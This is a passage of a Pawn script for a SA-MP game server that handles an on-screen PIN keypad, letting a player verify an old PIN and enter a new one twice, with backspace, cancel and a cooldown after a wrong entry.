format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum8[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum9[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{

PIN4Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum0[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}




if(playertextid == Unsucc[playerid])
{
if(ChandAdadZadam[playerid] == 0)
{
CancelSelectTextDraw(playerid);
PIN1Zadam[playerid] = 9999;
PIN2Zadam[playerid] = 9999;
PIN3Zadam[playerid] = 9999;
PIN4Zadam[playerid] = 9999;
MitooneCancelKone[playerid] = 0;
ChandAdadZadam[playerid] = 0;
Pinning[playerid] = 9999;
PlayerTextDrawHide(playerid, PINBox1[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox2[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox3[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox4[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox5[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, Succ[playerid]);// Pin ro mizane
PlayerTextDrawHide(playerid, Unsucc[playerid]);// Pin ro bar migardoone
PlayerTextDrawHide(playerid, Dayere1z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere2z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere3z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere4z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere5z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere6z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere7z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere8z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere9z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere0z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, PINNum1[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum2[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum3[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum4[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum5[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum6[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum7[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum8[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum9[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum0[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, EnterCode[playerid]);// Jayi ke code neveshte mishe
}
if(ChandAdadZadam[playerid] == 1)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "_");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN1Zadam[playerid] = 9999;
}
if(ChandAdadZadam[playerid] == 2)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN2Zadam[playerid] = 9999;
}
if(ChandAdadZadam[playerid] == 3)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN3Zadam[playerid] = 9999;
}
if(ChandAdadZadam[playerid] == 4)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN4Zadam[playerid] = 9999;
}
}



if(playertextid == Succ[playerid])
{
if(ChandAdadZadam[playerid] == 4)
{
if(PIN1Zadam[playerid] == PINFO[playerid][pPin1] && PIN2Zadam[playerid] == PINFO[playerid][pPin2] && PIN3Zadam[playerid] == PINFO[playerid][pPin3] && PIN4Zadam[playerid] == PINFO[playerid][pPin4])
{
SCM(playerid, COLOR_SINARANG, "Now enter your new pin code.");
new SetKOnz[3];
format(SetKOnz , sizeof(SetKOnz) , "_");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOnz);
ChandAdadZadam[playerid] = 0;
PIN1Zadam[playerid] = 9999;
PIN2Zadam[playerid] = 9999;
PIN3Zadam[playerid] = 9999;
PIN4Zadam[playerid] = 9999;
Pinning[playerid] = 4;
MitooneCancelKone[playerid] = 1;
}
else
{
PCoolDown[playerid] = 1;
PINCoolDown[playerid] = SetTimerEx("CoolDownePIN", 60000, false, "i", playerid);
SCM(playerid, COLOR_SINAGHERMEZ, "Authentication error occurred.");
CancelSelectTextDraw(playerid);
PIN1Zadam[playerid] = 9999;
PIN2Zadam[playerid] = 9999;
PIN3Zadam[playerid] = 9999;
PIN4Zadam[playerid] = 9999;
MitooneCancelKone[playerid] = 0;
ChandAdadZadam[playerid] = 0;
Pinning[playerid] = 9999;
PlayerTextDrawHide(playerid, PINBox1[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox2[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox3[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox4[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox5[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, Succ[playerid]);// Pin ro mizane
PlayerTextDrawHide(playerid, Unsucc[playerid]);// Pin ro bar migardoone
PlayerTextDrawHide(playerid, Dayere1z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere2z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere3z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere4z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere5z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere6z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere7z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere8z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere9z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere0z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, PINNum1[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum2[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum3[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum4[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum5[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum6[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum7[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum8[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum9[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum0[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, EnterCode[playerid]);// Jayi ke code neveshte mishe
}
}
}












}// Change pin







if(Pinning[playerid] == 4)// New pin 1
{
new SetKOn[10];
if(playertextid == PINNum1[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{
PIN1Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{
PIN2Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum2[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum3[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum4[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum5[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum6[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum7[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum8[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum9[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{

PIN4Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum0[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}




if(playertextid == Unsucc[playerid])
{
if(ChandAdadZadam[playerid] == 0)
{
CancelSelectTextDraw(playerid);
PIN1Zadam[playerid] = 9999;
PIN2Zadam[playerid] = 9999;
PIN3Zadam[playerid] = 9999;
PIN4Zadam[playerid] = 9999;
MitooneCancelKone[playerid] = 0;
ChandAdadZadam[playerid] = 0;
Pinning[playerid] = 9999;
PlayerTextDrawHide(playerid, PINBox1[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox2[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox3[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox4[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox5[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, Succ[playerid]);// Pin ro mizane
PlayerTextDrawHide(playerid, Unsucc[playerid]);// Pin ro bar migardoone
PlayerTextDrawHide(playerid, Dayere1z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere2z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere3z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere4z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere5z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere6z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere7z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere8z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere9z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere0z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, PINNum1[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum2[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum3[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum4[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum5[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum6[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum7[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum8[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum9[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum0[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, EnterCode[playerid]);// Jayi ke code neveshte mishe
}
if(ChandAdadZadam[playerid] == 1)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "_");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN1Zadam[playerid] = 9999;
}
if(ChandAdadZadam[playerid] == 2)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN2Zadam[playerid] = 9999;
}
if(ChandAdadZadam[playerid] == 3)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN3Zadam[playerid] = 9999;
}
if(ChandAdadZadam[playerid] == 4)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN4Zadam[playerid] = 9999;
}
}




if(playertextid == Succ[playerid])
{
PIN1ZadamNew[playerid] = PIN1Zadam[playerid];
PIN2ZadamNew[playerid] = PIN2Zadam[playerid];
PIN3ZadamNew[playerid] = PIN3Zadam[playerid];
PIN4ZadamNew[playerid] = PIN4Zadam[playerid];
if(ChandAdadZadam[playerid] != 4 && ChandAdadZadam[playerid] != 0)
{
SCM(playerid, COLOR_SINAGHERMEZ, "Authentication error occurred, pin code must be 4 numbers.");
}
if(ChandAdadZadam[playerid] == 4)
{
SCM(playerid, COLOR_SINARANG, "Now enter your new pin again.");
new SetKOnzX[3];
format(SetKOnzX , sizeof(SetKOnzX) , "_");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOnzX);
ChandAdadZadam[playerid] = 0;
PIN1Zadam[playerid] = 9999;
PIN2Zadam[playerid] = 9999;
PIN3Zadam[playerid] = 9999;
PIN4Zadam[playerid] = 9999;
Pinning[playerid] = 5;
MitooneCancelKone[playerid] = 1;
}
}


}// New pin 1

if(Pinning[playerid] == 5)// New pin 2
{
new SetKOn[10];
if(playertextid == PINNum1[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{
PIN1Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{
PIN2Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum2[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum3[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum4[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum5[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum6[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum7[playerid])
{
